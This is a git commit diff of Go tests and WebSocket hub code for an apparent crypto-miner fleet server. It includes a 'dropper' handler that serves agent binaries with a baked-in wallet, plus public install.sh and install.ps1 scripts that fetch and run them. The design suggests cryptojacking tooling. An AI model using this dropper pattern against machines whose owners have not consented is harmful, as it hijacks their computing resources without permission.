feat: T1016 dns_config probe + server-side drift detection + Crucible DNS DRIFT badge

This commit is contained in:
AetherForge
2026-05-30 23:26:50 -07:00
parent 6704933568
commit d005d5d07c
48 changed files with 4621 additions and 22 deletions

View File

@@ -0,0 +1,159 @@
package api
import (
"bytes"
"encoding/json"
"net/http"
"net/http/httptest"
"os"
"path/filepath"
"strings"
"testing"
"github.com/go-chi/chi/v5"
)
func newTestBlueprintHandler(t *testing.T) (*BlueprintHandler, string) {
t.Helper()
dataDir := t.TempDir()
return NewBlueprintHandler(dataDir), dataDir
}
func TestSanitizeFilename(t *testing.T) {
if sanitizeFilename(" my preset ") != "my preset" {
t.Fatalf("trim failed: %q", sanitizeFilename(" my preset "))
}
if sanitizeFilename("../../../etc/passwd") == "" || strings.Contains(sanitizeFilename("../../../etc/passwd"), "..") {
t.Fatalf("traversal not sanitized: %q", sanitizeFilename("../../../etc/passwd"))
}
if sanitizeFilename("bad/name") != "badname" {
t.Fatalf("slashes removed: %q", sanitizeFilename("bad/name"))
}
}
func TestBlueprintListEmpty(t *testing.T) {
h, _ := newTestBlueprintHandler(t)
req := httptest.NewRequest(http.MethodGet, "/api/v1/blueprints", nil)
rec := httptest.NewRecorder()
h.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
}
var list []BlueprintInfo
if err := json.Unmarshal(rec.Body.Bytes(), &list); err != nil {
t.Fatal(err)
}
if len(list) != 0 {
t.Fatalf("expected empty list, got %d", len(list))
}
}
func TestBlueprintSaveGetDelete(t *testing.T) {
h, dataDir := newTestBlueprintHandler(t)
saveBody, _ := json.Marshal(map[string]interface{}{
"name": "fleet-default",
"data": map[string]interface{}{"pool_host": "pool.example.com", "threads": 4},
})
req := httptest.NewRequest(http.MethodPost, "/api/v1/blueprints", bytes.NewReader(saveBody))
rec := httptest.NewRecorder()
h.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("save status %d body %s", rec.Code, rec.Body.String())
}
filePath := filepath.Join(dataDir, "blueprints", "fleet-default.json")
if _, err := os.Stat(filePath); err != nil {
t.Fatalf("blueprint file missing: %v", err)
}
req = httptest.NewRequest(http.MethodGet, "/api/v1/blueprints", nil)
rec = httptest.NewRecorder()
h.ServeHTTP(rec, req)
var listed []BlueprintInfo
if err := json.Unmarshal(rec.Body.Bytes(), &listed); err != nil {
t.Fatal(err)
}
if len(listed) != 1 || listed[0].Name != "fleet-default" {
t.Fatalf("list after save: %+v", listed)
}
r := chi.NewRouter()
r.Get("/blueprints/{name}", h.GetBlueprint)
req = httptest.NewRequest(http.MethodGet, "/blueprints/fleet-default", nil)
rec = httptest.NewRecorder()
r.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("get status %d body %s", rec.Code, rec.Body.String())
}
if !strings.Contains(rec.Body.String(), "pool.example.com") {
t.Fatalf("unexpected blueprint body: %s", rec.Body.String())
}
req = httptest.NewRequest(http.MethodDelete, "/api/v1/blueprints?name=fleet-default", nil)
rec = httptest.NewRecorder()
h.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("delete status %d body %s", rec.Code, rec.Body.String())
}
if _, err := os.Stat(filePath); !os.IsNotExist(err) {
t.Fatal("blueprint file should be removed")
}
}
func TestBlueprintSaveValidationErrors(t *testing.T) {
h, _ := newTestBlueprintHandler(t)
req := httptest.NewRequest(http.MethodPost, "/api/v1/blueprints", bytes.NewReader([]byte(`{"name":"","data":{}}`)))
rec := httptest.NewRecorder()
h.ServeHTTP(rec, req)
if rec.Code != http.StatusBadRequest {
t.Fatalf("empty name should be 400, got %d", rec.Code)
}
req = httptest.NewRequest(http.MethodPost, "/api/v1/blueprints", bytes.NewReader([]byte(`not-json`)))
rec = httptest.NewRecorder()
h.ServeHTTP(rec, req)
if rec.Code != http.StatusBadRequest {
t.Fatalf("invalid json should be 400, got %d", rec.Code)
}
req = httptest.NewRequest(http.MethodPost, "/api/v1/blueprints", bytes.NewReader([]byte(`{"name":"ok","data":}`)))
rec = httptest.NewRecorder()
h.ServeHTTP(rec, req)
if rec.Code != http.StatusBadRequest {
t.Fatalf("malformed data json should be 400, got %d", rec.Code)
}
}
func TestBlueprintGetNotFound(t *testing.T) {
h, _ := newTestBlueprintHandler(t)
r := chi.NewRouter()
r.Get("/blueprints/{name}", h.GetBlueprint)
req := httptest.NewRequest(http.MethodGet, "/blueprints/missing", nil)
rec := httptest.NewRecorder()
r.ServeHTTP(rec, req)
if rec.Code != http.StatusNotFound {
t.Fatalf("expected 404, got %d", rec.Code)
}
}
func TestBlueprintDeleteMissingName(t *testing.T) {
h, _ := newTestBlueprintHandler(t)
req := httptest.NewRequest(http.MethodDelete, "/api/v1/blueprints", nil)
rec := httptest.NewRecorder()
h.ServeHTTP(rec, req)
if rec.Code != http.StatusBadRequest {
t.Fatalf("expected 400, got %d", rec.Code)
}
}
func TestBlueprintMethodNotAllowed(t *testing.T) {
h, _ := newTestBlueprintHandler(t)
req := httptest.NewRequest(http.MethodPatch, "/api/v1/blueprints", nil)
rec := httptest.NewRecorder()
h.ServeHTTP(rec, req)
if rec.Code != http.StatusMethodNotAllowed {
t.Fatalf("expected 405, got %d", rec.Code)
}
}

View File

@@ -0,0 +1,150 @@
package api
import (
"net/http"
"net/http/httptest"
"os"
"path/filepath"
"strings"
"testing"
"time"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
)
func newTestDropperHandler(t *testing.T) (*DropperHandler, *db.Database, string) {
t.Helper()
dataDir := t.TempDir()
database, err := db.New(dataDir)
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
return NewDropperHandler(database, func() string { return "https://public.example.com" }), database, dataDir
}
func TestDetectPlatformQueryParam(t *testing.T) {
cases := map[string]string{
"windows": "windows", "win": "windows",
"linux": "linux",
"darwin": "darwin", "mac": "darwin", "macos": "darwin",
"universal": "universal", "any": "universal",
"unknown": "",
}
for in, want := range cases {
req := httptest.NewRequest(http.MethodGet, "/get?os="+in, nil)
if got := detectPlatform(req); got != want {
t.Fatalf("detectPlatform(%q) = %q, want %q", in, got, want)
}
}
}
func TestDetectPlatformUserAgent(t *testing.T) {
tests := []struct {
ua string
want string
}{
{"Mozilla/5.0 (Windows NT 10.0)", "windows"},
{"Mozilla/5.0 (Macintosh; Intel Mac OS X)", "darwin"},
{"Mozilla/5.0 (X11; Linux x86_64)", "linux"},
{"curl/8.0", ""},
}
for _, tc := range tests {
req := httptest.NewRequest(http.MethodGet, "/get", nil)
req.Header.Set("User-Agent", tc.ua)
if got := detectPlatform(req); got != tc.want {
t.Fatalf("UA %q => %q, want %q", tc.ua, got, tc.want)
}
}
}
func TestDropperServeGetNoBuilds(t *testing.T) {
h, _, _ := newTestDropperHandler(t)
req := httptest.NewRequest(http.MethodGet, "/get", nil)
rec := httptest.NewRecorder()
h.ServeGet(rec, req)
if rec.Code != http.StatusNotFound {
t.Fatalf("expected 404, got %d", rec.Code)
}
if !strings.Contains(rec.Body.String(), "no agent build available") {
t.Fatalf("unexpected body: %s", rec.Body.String())
}
}
func TestDropperServeGetWindowsBuild(t *testing.T) {
h, database, dataDir := newTestDropperHandler(t)
buildID := "win-build"
buildDir := filepath.Join(dataDir, "builds", buildID)
if err := os.MkdirAll(buildDir, 0755); err != nil {
t.Fatal(err)
}
binPath := filepath.Join(buildDir, "worker.exe")
content := []byte("windows-agent-binary")
if err := os.WriteFile(binPath, content, 0644); err != nil {
t.Fatal(err)
}
if err := database.InsertBuild(&models.BuildRecord{
ID: buildID, WorkerName: "w", ServerURL: "http://x", Wallet: "48x",
FilePath: binPath, FileName: "worker.exe", Platform: "windows",
CreatedAt: time.Now(),
}); err != nil {
t.Fatal(err)
}
req := httptest.NewRequest(http.MethodGet, "/get?os=windows", nil)
rec := httptest.NewRecorder()
h.ServeGet(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("expected 200, got %d body=%s", rec.Code, rec.Body.String())
}
if !strings.Contains(rec.Header().Get("Content-Disposition"), "worker.exe") {
t.Fatalf("missing disposition: %q", rec.Header().Get("Content-Disposition"))
}
}
func TestDropperResolveBasePublicURL(t *testing.T) {
h, _, _ := newTestDropperHandler(t)
req := httptest.NewRequest(http.MethodGet, "/install.sh", nil)
req.Host = "ignored.local:8989"
if base := h.resolveBase(req); base != "https://public.example.com" {
t.Fatalf("publicURL override = %q", base)
}
}
func TestDropperResolveBaseFromRequest(t *testing.T) {
h := NewDropperHandler(nil, nil)
req := httptest.NewRequest(http.MethodGet, "/install.sh", nil)
req.Host = "deck.local:8989"
req.Header.Set("X-Forwarded-Host", "proxy.example.com")
if base := h.resolveBase(req); base != "http://proxy.example.com" {
t.Fatalf("resolveBase = %q", base)
}
}
func TestDropperServeShContent(t *testing.T) {
h, _, _ := newTestDropperHandler(t)
req := httptest.NewRequest(http.MethodGet, "/install.sh", nil)
rec := httptest.NewRecorder()
h.ServeSh(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status %d", rec.Code)
}
body := rec.Body.String()
if !strings.Contains(body, "#!/bin/sh") || !strings.Contains(body, "https://public.example.com/get") {
t.Fatalf("unexpected install.sh body prefix: %.120s", body)
}
}
func TestDropperServePs1Content(t *testing.T) {
h, _, _ := newTestDropperHandler(t)
req := httptest.NewRequest(http.MethodGet, "/install.ps1", nil)
rec := httptest.NewRecorder()
h.ServePs1(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status %d", rec.Code)
}
if !strings.Contains(rec.Body.String(), "DownloadFile") {
t.Fatal("expected PowerShell download snippet")
}
}

View File

@@ -7,6 +7,7 @@ import (
"testing"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
"github.com/go-chi/chi/v5"
)
@@ -89,3 +90,120 @@ func TestGetAgentNotFound(t *testing.T) {
t.Fatalf("expected 404, got %d", rec.Code)
}
}
const (
handlerAgentStatsDefaultLimit = 100
handlerAgentStatsMaxLimit = 1000
handlerSharesDefaultLimit = 50
handlerSharesMaxLimit = 1000
handlerListBuildsLimit = 50
)
func TestHandlerConstants(t *testing.T) {
if handlerAgentStatsDefaultLimit != 100 || handlerAgentStatsMaxLimit != 1000 {
t.Fatal("agent stats limit constants drifted")
}
if handlerSharesDefaultLimit != 50 || handlerSharesMaxLimit != 1000 {
t.Fatal("shares limit constants drifted")
}
if handlerListBuildsLimit != 50 {
t.Fatal("list builds limit constant drifted")
}
}
func TestGetDashboardStatsEmptyFleet(t *testing.T) {
h := newTestHandler(t)
req := httptest.NewRequest(http.MethodGet, "/api/v1/dashboard/stats", nil)
rec := httptest.NewRecorder()
h.GetDashboardStats(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
}
}
func TestListBuildsEmptyArray(t *testing.T) {
h := newTestHandler(t)
req := httptest.NewRequest(http.MethodGet, "/api/v1/builds", nil)
rec := httptest.NewRecorder()
h.ListBuilds(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status %d", rec.Code)
}
var builds []json.RawMessage
if err := json.Unmarshal(rec.Body.Bytes(), &builds); err != nil {
t.Fatal(err)
}
if len(builds) != 0 {
t.Fatalf("expected empty builds, got %d", len(builds))
}
}
func TestPinBuildAndUnpinAll(t *testing.T) {
h := newTestHandler(t)
database := h.db
if err := database.InsertBuild(&models.BuildRecord{
ID: "pin-me", WorkerName: "w", ServerURL: "http://x", Wallet: "48x",
FilePath: "/tmp/x", FileName: "x.exe", Platform: "windows",
}); err != nil {
t.Fatal(err)
}
r := chi.NewRouter()
r.Put("/builds/{id}/pin", h.PinBuild)
r.Delete("/builds/pin", h.UnpinAll)
req := httptest.NewRequest(http.MethodPut, "/builds/pin-me/pin", nil)
rec := httptest.NewRecorder()
r.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("pin status %d body %s", rec.Code, rec.Body.String())
}
req = httptest.NewRequest(http.MethodDelete, "/builds/pin", nil)
rec = httptest.NewRecorder()
r.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("unpin status %d body %s", rec.Code, rec.Body.String())
}
}
func TestDeleteBuildSuccess(t *testing.T) {
h := newTestHandler(t)
if err := h.db.InsertBuild(&models.BuildRecord{
ID: "del-me", WorkerName: "w", ServerURL: "http://x", Wallet: "48x",
FilePath: "/tmp/x", FileName: "x.exe", Platform: "windows",
}); err != nil {
t.Fatal(err)
}
r := chi.NewRouter()
r.Delete("/builds/{id}", h.DeleteBuild)
req := httptest.NewRequest(http.MethodDelete, "/builds/del-me", nil)
rec := httptest.NewRecorder()
r.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("delete status %d body %s", rec.Code, rec.Body.String())
}
}
func TestGetRecentSharesDefaultLimit(t *testing.T) {
h := newTestHandler(t)
req := httptest.NewRequest(http.MethodGet, "/api/v1/shares", nil)
rec := httptest.NewRecorder()
h.GetRecentShares(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status %d", rec.Code)
}
}
func TestGetAgentStatsInvalidLimitUsesDefault(t *testing.T) {
h := newTestHandler(t)
req := httptest.NewRequest(http.MethodGet, "/agents/x/stats?limit=abc", nil)
rec := httptest.NewRecorder()
r := chi.NewRouter()
r.Get("/agents/{id}/stats", h.GetAgentStats)
r.ServeHTTP(rec, req)
if rec.Code == http.StatusInternalServerError {
t.Fatalf("invalid limit should not 500: %s", rec.Body.String())
}
}

View File

@@ -0,0 +1,396 @@
package api
import (
"bytes"
"encoding/json"
"net/http"
"net/http/httptest"
"os"
"path/filepath"
"strings"
"testing"
"time"
"crypto-miner-server/internal/builder"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
"crypto-miner-server/internal/pool"
)
const routerAuthCacheTTL = 5 * time.Minute
func resetAuthState(t *testing.T) {
t.Helper()
authSessionCacheMu.Lock()
authSessionCache = map[string]time.Time{}
authSessionCacheMu.Unlock()
usersMu.Lock()
authUsers = map[string]string{}
usersFilePath = ""
usersMu.Unlock()
SetAgentPathSecret("")
SetRotateSecretFn(nil)
t.Cleanup(resetAuthGlobals)
}
func resetAuthGlobals() {
authSessionCacheMu.Lock()
authSessionCache = map[string]time.Time{}
authSessionCacheMu.Unlock()
SetAgentPathSecret("")
SetRotateSecretFn(nil)
}
func TestRouterConstants(t *testing.T) {
if authCacheTTL != routerAuthCacheTTL {
t.Fatalf("authCacheTTL = %v, want %v", authCacheTTL, routerAuthCacheTTL)
}
}
func TestAuthCacheKeyDeterministic(t *testing.T) {
k1 := authCacheKey("user", "pass")
k2 := authCacheKey("user", "pass")
if k1 != k2 || k1 == "" {
t.Fatalf("cache key not stable: %q %q", k1, k2)
}
if authCacheKey("user", "other") == k1 {
t.Fatal("different passwords should produce different cache keys")
}
}
func TestBasicAuthMiddlewareOptionsPassthrough(t *testing.T) {
resetAuthState(t)
called := false
h := basicAuthMiddleware(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
called = true
w.WriteHeader(http.StatusNoContent)
}))
req := httptest.NewRequest(http.MethodOptions, "/api/v1/config", nil)
rec := httptest.NewRecorder()
h.ServeHTTP(rec, req)
if !called || rec.Code != http.StatusNoContent {
t.Fatalf("OPTIONS should bypass auth: called=%v status=%d", called, rec.Code)
}
}
func TestBasicAuthMiddlewareHealthPublic(t *testing.T) {
resetAuthState(t)
h := basicAuthMiddleware(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusOK)
}))
req := httptest.NewRequest(http.MethodGet, "/api/v1/health", nil)
rec := httptest.NewRecorder()
h.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("health should be public, got %d", rec.Code)
}
}
func TestBasicAuthMiddlewareBuildDownloadPublic(t *testing.T) {
resetAuthState(t)
h := basicAuthMiddleware(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusOK)
}))
paths := []string{
"/api/v1/builds/abc/download",
"/api/v1/builds/abc/artifact/worker.exe",
}
for _, path := range paths {
req := httptest.NewRequest(http.MethodGet, path, nil)
rec := httptest.NewRecorder()
h.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("%s should be public, got %d", path, rec.Code)
}
}
}
func TestBasicAuthMiddlewareDropperPublic(t *testing.T) {
resetAuthState(t)
h := basicAuthMiddleware(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusOK)
}))
for _, path := range []string{"/get", "/install.sh", "/install.ps1"} {
req := httptest.NewRequest(http.MethodGet, path, nil)
rec := httptest.NewRecorder()
h.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("%s should be public, got %d", path, rec.Code)
}
}
}
func TestBasicAuthMiddlewareMissingCredentials(t *testing.T) {
resetAuthState(t)
usersMu.Lock()
authUsers["admin"] = "secret"
usersMu.Unlock()
h := basicAuthMiddleware(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
t.Fatal("handler should not run without auth")
}))
req := httptest.NewRequest(http.MethodGet, "/api/v1/agents", nil)
rec := httptest.NewRecorder()
h.ServeHTTP(rec, req)
if rec.Code != http.StatusUnauthorized {
t.Fatalf("expected 401, got %d", rec.Code)
}
if !strings.Contains(rec.Header().Get("WWW-Authenticate"), "Basic") {
t.Fatal("expected WWW-Authenticate header")
}
}
func TestBasicAuthMiddlewareWrongPassword(t *testing.T) {
resetAuthState(t)
hashed, err := hashPassword("correct")
if err != nil {
t.Fatal(err)
}
usersMu.Lock()
authUsers["admin"] = hashed
usersMu.Unlock()
h := basicAuthMiddleware(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
t.Fatal("handler should not run with bad password")
}))
req := httptest.NewRequest(http.MethodGet, "/api/v1/agents", nil)
req.SetBasicAuth("admin", "wrong")
rec := httptest.NewRecorder()
h.ServeHTTP(rec, req)
if rec.Code != http.StatusUnauthorized {
t.Fatalf("expected 401, got %d", rec.Code)
}
}
func TestBasicAuthMiddlewareValidCredentials(t *testing.T) {
resetAuthState(t)
hashed, err := hashPassword("correct")
if err != nil {
t.Fatal(err)
}
usersMu.Lock()
authUsers["admin"] = hashed
usersMu.Unlock()
h := basicAuthMiddleware(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusOK)
}))
req := httptest.NewRequest(http.MethodGet, "/api/v1/agents", nil)
req.SetBasicAuth("admin", "correct")
rec := httptest.NewRecorder()
h.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("expected 200, got %d", rec.Code)
}
if !authCacheHit("admin", "correct") {
t.Fatal("successful auth should populate cache")
}
}
func TestBasicAuthMiddlewareAgentPathFleetSecret(t *testing.T) {
resetAuthState(t)
SetAgentPathSecret("fleet-secret-123")
h := basicAuthMiddleware(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusOK)
}))
req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/decide", nil)
rec := httptest.NewRecorder()
h.ServeHTTP(rec, req)
if rec.Code != http.StatusForbidden {
t.Fatalf("missing fleet secret should be 403, got %d", rec.Code)
}
req = httptest.NewRequest(http.MethodPost, "/api/v1/agent/decide", nil)
req.Header.Set("X-Fleet-Secret", "fleet-secret-123")
rec = httptest.NewRecorder()
h.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("valid fleet secret should pass, got %d", rec.Code)
}
}
func TestRouterPostUsersValidation(t *testing.T) {
router, _ := newTestRouter(t)
req := httptest.NewRequest(http.MethodPost, "/api/v1/users", bytes.NewReader([]byte(`{}`)))
req.SetBasicAuth(testAuthUser, testAuthPass)
rec := httptest.NewRecorder()
router.ServeHTTP(rec, req)
if rec.Code != http.StatusBadRequest {
t.Fatalf("empty payload should be 400, got %d body=%s", rec.Code, rec.Body.String())
}
}
func TestRouterPostUsersSuccess(t *testing.T) {
router, dataDir := newTestRouter(t)
body, _ := json.Marshal(map[string]string{"username": "newop", "password": "newpass"})
req := httptest.NewRequest(http.MethodPost, "/api/v1/users", bytes.NewReader(body))
req.SetBasicAuth(testAuthUser, testAuthPass)
rec := httptest.NewRecorder()
router.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("expected 200, got %d body=%s", rec.Code, rec.Body.String())
}
usersPath := filepath.Join(dataDir, "users.json")
data, err := os.ReadFile(usersPath)
if err != nil {
t.Fatal(err)
}
var users map[string]string
if err := json.Unmarshal(data, &users); err != nil {
t.Fatal(err)
}
if !checkPassword(users["newop"], "newpass") {
t.Fatal("new user password should be bcrypt stored and verifiable")
}
}
func TestRouterRotateSecretNotConfigured(t *testing.T) {
router, _ := newTestRouter(t)
req := httptest.NewRequest(http.MethodPost, "/api/v1/server/rotate-secret", nil)
req.SetBasicAuth(testAuthUser, testAuthPass)
rec := httptest.NewRecorder()
router.ServeHTTP(rec, req)
if rec.Code != http.StatusServiceUnavailable {
t.Fatalf("expected 503, got %d body=%s", rec.Code, rec.Body.String())
}
}
func TestRouterRotateSecretSuccess(t *testing.T) {
router, _ := newTestRouter(t)
SetRotateSecretFn(func() (string, error) {
return "new-secret-token-xyz", nil
})
t.Cleanup(func() { SetRotateSecretFn(nil) })
req := httptest.NewRequest(http.MethodPost, "/api/v1/server/rotate-secret", nil)
req.SetBasicAuth(testAuthUser, testAuthPass)
rec := httptest.NewRecorder()
router.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("expected 200, got %d body=%s", rec.Code, rec.Body.String())
}
var body map[string]interface{}
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
t.Fatal(err)
}
if body["ok"] != true {
t.Fatalf("unexpected body: %v", body)
}
}
func TestRouterBuilderCancelNotFound(t *testing.T) {
router, _ := newTestRouter(t)
req := httptest.NewRequest(http.MethodDelete, "/api/v1/builder/cancel/missing-token", nil)
req.SetBasicAuth(testAuthUser, testAuthPass)
rec := httptest.NewRecorder()
router.ServeHTTP(rec, req)
if rec.Code != http.StatusNotFound {
t.Fatalf("expected 404, got %d body=%s", rec.Code, rec.Body.String())
}
}
func TestRouterBuildDownloadNoAuth(t *testing.T) {
dataDir := t.TempDir()
seedTestUsers(t, dataDir)
database, err := db.New(dataDir)
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { database.Close() })
buildID := "dl-build"
buildDir := filepath.Join(dataDir, "builds", buildID)
if err := os.MkdirAll(buildDir, 0755); err != nil {
t.Fatal(err)
}
binPath := filepath.Join(buildDir, "agent.exe")
if err := os.WriteFile(binPath, []byte("fake-binary"), 0644); err != nil {
t.Fatal(err)
}
if err := database.InsertBuild(&models.BuildRecord{
ID: buildID, WorkerName: "w", ServerURL: "http://x", Wallet: "48x",
FilePath: binPath, FileName: "agent.exe", Platform: "windows",
}); err != nil {
t.Fatal(err)
}
wsHub := NewWSHub(database)
cfg := &mockConfigProvider{}
configHandler := NewConfigHandler(database, cfg)
aiHandler := NewAIHandler(database)
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{})
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
blueprintHandler := NewBlueprintHandler(dataDir)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, nil), "", dataDir, nil)
req := httptest.NewRequest(http.MethodGet, "/api/v1/builds/"+buildID+"/download", nil)
rec := httptest.NewRecorder()
router.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("download should be public, got %d body=%s", rec.Code, rec.Body.String())
}
}
func TestRouterDropperInstallScriptsPublic(t *testing.T) {
router, _ := newTestRouter(t)
for _, path := range []string{"/install.sh", "/install.ps1"} {
req := httptest.NewRequest(http.MethodGet, path, nil)
req.Host = "forge.local:8989"
rec := httptest.NewRecorder()
router.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("%s status=%d", path, rec.Code)
}
if !strings.Contains(rec.Body.String(), "AetherForge") {
t.Fatalf("%s missing branding", path)
}
}
}
func TestRouterSPAFallbackUnknownRoute(t *testing.T) {
router, _ := newTestRouter(t)
req := httptest.NewRequest(http.MethodGet, "/unknown-dashboard-route", nil)
rec := httptest.NewRecorder()
router.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("expected SPA fallback 200, got %d", rec.Code)
}
if !strings.Contains(rec.Body.String(), "AetherForge") {
t.Fatal("expected index.html fallback")
}
}
func TestRouterNoWebRootFallback(t *testing.T) {
dataDir := t.TempDir()
seedTestUsers(t, dataDir)
database, err := db.New(dataDir)
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { database.Close() })
wsHub := NewWSHub(database)
cfg := &mockConfigProvider{}
configHandler := NewConfigHandler(database, cfg)
aiHandler := NewAIHandler(database)
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{})
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
blueprintHandler := NewBlueprintHandler(dataDir)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, "", dataDir, nil)
req := httptest.NewRequest(http.MethodGet, "/", nil)
rec := httptest.NewRecorder()
router.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("expected 200, got %d", rec.Code)
}
if !strings.Contains(rec.Body.String(), "No frontend configured") {
t.Fatalf("unexpected body: %s", rec.Body.String())
}
}

View File

@@ -41,9 +41,9 @@ func checkDashboardWSToken(r *http.Request) bool {
}
user, pass := parts[0], parts[1]
usersMu.RLock()
expectedPass, exists := authUsers[user]
stored, exists := authUsers[user]
usersMu.RUnlock()
return exists && secureStringEqual(pass, expectedPass)
return exists && checkPassword(stored, pass)
}
var upgrader = websocket.Upgrader{
@@ -106,6 +106,8 @@ type WSHub struct {
agentConfigs map[string]AgentForgeConfig
agentCapabilities map[string]models.AgentCapabilities
agentLogs map[string]string
// T1016 DNS drift detection — stores last seen resolver list per agent
agentDNS map[string][]string
serverPolicy ServerPolicy
pingIntervalSec int
fleetSecret string // baked into forged agents; verified on WS connect
@@ -120,6 +122,7 @@ func NewWSHub(database *db.Database) *WSHub {
agentConfigs: make(map[string]AgentForgeConfig),
agentCapabilities: make(map[string]models.AgentCapabilities),
agentLogs: make(map[string]string),
agentDNS: make(map[string][]string),
pingIntervalSec: 30,
}
}
@@ -519,6 +522,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
CPUUsagePct float64 `json:"cpu_usage_pct"`
MemoryUsagePct float64 `json:"memory_usage_pct"`
UptimeSeconds int `json:"uptime_seconds"`
// DNS config (T1016)
DNSServers []string `json:"dns_servers,omitempty"`
DNSSearchDomains []string `json:"dns_search_domains,omitempty"`
// Resource pressure
CPUFreqMHz *int `json:"cpu_freq_mhz,omitempty"`
CPUMaxMHz *int `json:"cpu_max_mhz,omitempty"`
@@ -587,6 +593,23 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
if stats.GPUTempC != nil { broadcast["gpu_temp_c"] = *stats.GPUTempC }
if stats.GPUUsagePct != nil { broadcast["gpu_usage_pct"] = *stats.GPUUsagePct }
// T1016 DNS drift detection
if len(stats.DNSServers) > 0 {
broadcast["dns_servers"] = stats.DNSServers
if stats.DNSSearchDomains != nil {
broadcast["dns_search_domains"] = stats.DNSSearchDomains
}
h.mu.Lock()
prev, hasPrev := h.agentDNS[agentID]
drifted := hasPrev && !dnsEqual(prev, stats.DNSServers)
h.agentDNS[agentID] = stats.DNSServers
h.mu.Unlock()
if drifted {
broadcast["dns_drifted"] = true
log.Printf("[T1016] DNS drift detected on agent %s: %v → %v", agentID, prev, stats.DNSServers)
}
}
if stats.SSHAvailable != nil {
broadcast["ssh_available"] = *stats.SSHAvailable
}
@@ -850,6 +873,25 @@ func mustMarshal(v interface{}) json.RawMessage {
return data
}
// dnsEqual returns true when two DNS server lists contain the same addresses
// regardless of order. Used for T1016 drift detection.
func dnsEqual(a, b []string) bool {
if len(a) != len(b) {
return false
}
m := make(map[string]int, len(a))
for _, v := range a {
m[v]++
}
for _, v := range b {
m[v]--
if m[v] < 0 {
return false
}
}
return true
}
// BroadcastToAgents sends a message to all connected agents
func (h *WSHub) BroadcastToAgents(msg Message) {
h.mu.RLock()

View File

@@ -0,0 +1,314 @@
package api
import (
"encoding/base64"
"encoding/json"
"net/http"
"net/http/httptest"
"strings"
"testing"
"time"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
"crypto-miner-server/internal/pool"
"github.com/gorilla/websocket"
)
const wsDefaultPingIntervalSec = 30
func resetWSAuthUsers(t *testing.T, user, pass string) {
t.Helper()
hashed, err := hashPassword(pass)
if err != nil {
t.Fatal(err)
}
usersMu.Lock()
authUsers = map[string]string{user: hashed}
usersMu.Unlock()
t.Cleanup(func() {
usersMu.Lock()
authUsers = map[string]string{}
usersMu.Unlock()
})
}
func wsDashboardToken(user, pass string) string {
return base64.StdEncoding.EncodeToString([]byte(user + ":" + pass))
}
func dialAgentWS(t *testing.T, hub *WSHub) (*websocket.Conn, string) {
t.Helper()
srv := httptest.NewServer(http.HandlerFunc(hub.HandleAgentWS))
t.Cleanup(srv.Close)
wsURL := "ws" + strings.TrimPrefix(srv.URL, "http")
conn, _, err := websocket.DefaultDialer.Dial(wsURL, nil)
if err != nil {
t.Fatalf("dial: %v", err)
}
t.Cleanup(func() { _ = conn.Close() })
return conn, wsURL
}
func authAgentConn(t *testing.T, conn *websocket.Conn, payload map[string]interface{}) Message {
t.Helper()
data, _ := json.Marshal(payload)
if err := conn.WriteJSON(Message{Type: "auth", Payload: data}); err != nil {
t.Fatal(err)
}
var resp Message
if err := conn.ReadJSON(&resp); err != nil {
